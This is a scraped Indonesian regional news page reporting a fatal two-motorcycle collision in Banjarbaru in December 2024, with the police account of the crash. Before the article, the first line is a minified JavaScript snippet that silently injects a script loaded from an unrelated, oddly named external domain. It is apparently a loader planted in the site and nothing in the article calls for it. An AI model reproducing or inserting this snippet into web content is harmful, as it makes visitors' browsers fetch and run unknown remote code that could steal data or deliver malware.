(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia terjadi di kawasan Lapangan dr Murdjani Kota Banjarbaru, Jumat (20/12/2024) sore sekitar pukul 17.07 Wita.
Laka lantas itu terjadi tepatnya di Jalan Husni Thamrin atau di depan kantor Disporabudpar Kota Banjarbaru.
Kabag Humas Polres Banjarbaru, Ipda Kardi Gunardi mengungkap, pemotor yang meninggal dunia diketahui bernama Eka (41) warga Jalan Karang Anyar 2, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara.
Baca juga: Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan
Kronologis kejadian bermula saat sepeda motor dengan nomor polisi (Nopol) DA 6129 GAG yang dikendarai Rama berboncengan melintas di Jalan Pangeran Antasari 1.
Awalnya, sepeda motor yang dikendarai Eka dengan nopol DA 6296 PBZ berboncengan dengan Keisha datang dari arah Jalan Husni Thamrin (kantor Mal Pelayanan Publik Banjarbaru, red).
Dijelaskan Kabag Humas Polres Banjarbaru, Ipda Kardi menyebutkan, korban Eka naik motor menuju ke arah Jalan Pangeran Suriansyah yang merupakan arah yang tidak diperbolehkan atau jalan satu arah.
Baca juga: Eksportir Kalsel Didorong Kirim Produk Lewat Daerah Sendiri
Dua pengendara motor, kata dia, bertabrakan di simpang Jalan Husni Tambrin dan Jalan Pangeran Antasari.
“Akibatnya kedua pengendara terjatuh di badan jalan dan mengalami luka,” sebut Ipda Kardi, Sabtu (21/12/2024) siang.
Dari peristiwa itu, Ipda Kardi menjelaskan, korban Eka mengalami luka, kemudian meninggal dunia saat menjalani penanganan di RSU Nirwana Banjarbaru. Penumpang sepeda motor Eka yakni Keisha mengalami luka lecet ringan pada bagian badan.
Baca juga: Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan
Sementara itu Rama dan penumpang di belakang diketahui mengalami luka lecet ringan pada bagian badan.
Dari hasil pemeriksaan pihak kepolisian terhadap dua sepeda motor yang bertabrakan didapati fakta bahwa kendaraan sepeda motor yang dikendarai Eka dan Keisha dalam keadaan layak jalan, sistem pengereman berfungsi baik, sistem isyarat suara berfungsi baik serta berjalan lurus.
Sementara sepeda motor Yamaha X-Ride yang dikendarai Rama bersama penumpang juga didapati dalam keadaan layak jalan, sistem pengereman berfungsi baik, sistem isyarat suara berfungsi baik serta berjalan lurus. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Wilayah (Kanwil) Direktorat Jenderal Bea dan Cukai Bagian Kalimantan Selatan (DJBC… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menerima Laporan Hasil Pemeriksaan (LHP) dengan Tujuan Tertentu Kepatuhan… Read More
This website uses cookies.